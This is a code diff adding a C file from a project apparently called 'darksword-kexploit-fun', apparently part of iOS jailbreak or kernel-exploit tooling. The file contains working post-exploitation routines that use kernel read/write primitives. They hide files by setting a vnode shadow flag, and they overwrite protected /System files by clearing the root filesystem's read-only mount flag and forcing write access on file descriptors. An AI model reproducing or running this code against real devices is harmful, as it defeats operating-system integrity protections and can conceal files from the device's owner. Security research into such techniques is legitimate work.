Filza 27.2 worse_query: public and developer builds

utils/file.c

@@ -0,0 +1,151 @@
+//
+//  file.c
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/29/26.
+//
+
+#include "file.h"
+#include "../kexploit/krw.h"
+#include "../kexploit/offsets.h"
+#include "../kexploit/vnode.h"
+#include "../kexploit/kutils.h"
+#include "../kexploit/xpaci.h"
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+
+
+uint64_t hide_path(const char* path) {
+    uint64_t vnode = get_vnode_for_path_by_open(path);
+    if(vnode == -1) {
+        printf("[%s:%d] Unable to get vnode, path: %s", __FUNCTION__, __LINE__, path);
+        return -1;
+    }
+    
+    //vnode_ref, vnode_get
+    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+    
+    //hide file
+    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+    kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW));
+    
+    //restore vnode iocount, usecount
+    usecount = kread32(vnode + off_vnode_v_usecount);
+    iocount = kread32(vnode + off_vnode_v_iocount);
+    if(usecount > 0)
+        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+    if(iocount > 0)
+        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+    return vnode;
+}
+
+uint64_t reveal_path_by_vnode(uint64_t vnode) {
+    //vnode_ref, vnode_get
+    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+    
+    //show file
+    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+    kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));
+    
+    //restore vnode iocount, usecount
+    usecount = kread32(vnode + off_vnode_v_usecount);
+    iocount = kread32(vnode + off_vnode_v_iocount);
+    if(usecount > 0)
+        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+    if(iocount > 0)
+        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+    return 0;
+}
+
+// Overwrite /System/... file data
+uint64_t overwrite_system_file(char* to, char* from) {
+
+    int to_fd = open(to, O_RDONLY);
+    if (to_fd == -1) return -1;
+    off_t to_file_sz = lseek(to_fd, 0, SEEK_END);
+    
+    int from_fd = open(from, O_RDONLY);
+    if (from_fd == -1) return -1;
+    off_t from_file_sz = lseek(from_fd, 0, SEEK_END);
+    
+    if(to_file_sz < from_file_sz) {
+        close(from_fd);
+        close(to_fd);
+        printf("[%s:%d] File size is too big to overwrite!", __FUNCTION__, __LINE__);
+        return -1;
+    }
+    
+    uint64_t proc = proc_self();
+    
+    // get vnode
+    uint64_t fileprocPtrArr = kread64(proc + off_proc_p_fd + off_filedesc_fd_ofiles);
+    fileprocPtrArr = xpaci(fileprocPtrArr);
+    uint64_t to_fileproc = kread64(fileprocPtrArr + (8 * to_fd));
+    uint64_t to_fp_glob = kread64(to_fileproc + off_fileproc_fp_glob);
+    to_fp_glob = xpaci(to_fp_glob);
+    uint64_t to_vnode = kread64(to_fp_glob + off_fileglob_fg_data);
+    to_vnode = xpaci(to_vnode);
+    
+    // unset read-only flag on rootfs
+    uint64_t rootvnode_mount = kread64(get_rootvnode() + off_vnode_v_mount);
+    rootvnode_mount = xpaci(rootvnode_mount);
+    uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag);
+    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY);
+    
+    // modify open flags to make writable
+    uint32_t to_fg_flag = kread32(to_fp_glob + off_fileglob_fg_flag);
+    kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag | FWRITE);
+    
+    // to modify, increasing writecount needed
+    uint32_t to_vnode_v_writecount =  kread32(to_vnode + off_vnode_v_writecount);
+    if(to_vnode_v_writecount <= 0) {
+        kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);
+    }
+    
+    // modify file data
+    void* from_mapped = mmap(NULL, from_file_sz, PROT_READ, MAP_PRIVATE, from_fd, 0);
+    if (from_mapped == MAP_FAILED) {
+        perror("[-] Failed mmap (from_mapped)");
+        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+        close(from_fd);
+        close(to_fd);
+        return -1;
+    }
+    
+    void* to_mapped = mmap(NULL, to_file_sz, PROT_READ | PROT_WRITE, MAP_SHARED, to_fd, 0);
+    if (to_mapped == MAP_FAILED) {
+        perror("[-] Failed mmap (to_mapped)");
+        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+        close(from_fd);
+        close(to_fd);
+        return -1;
+    }
+
+    memcpy(to_mapped, from_mapped, from_file_sz);
+    msync(to_mapped, to_file_sz, MS_SYNC);
+    
+    munmap(from_mapped, from_file_sz);
+    munmap(to_mapped, to_file_sz);
+    
+    // restore open flags
+    kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag);
+    // restore rootfs mount flag
+    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+    
+    close(from_fd);
+    close(to_fd);
+    
+    return 0;
+}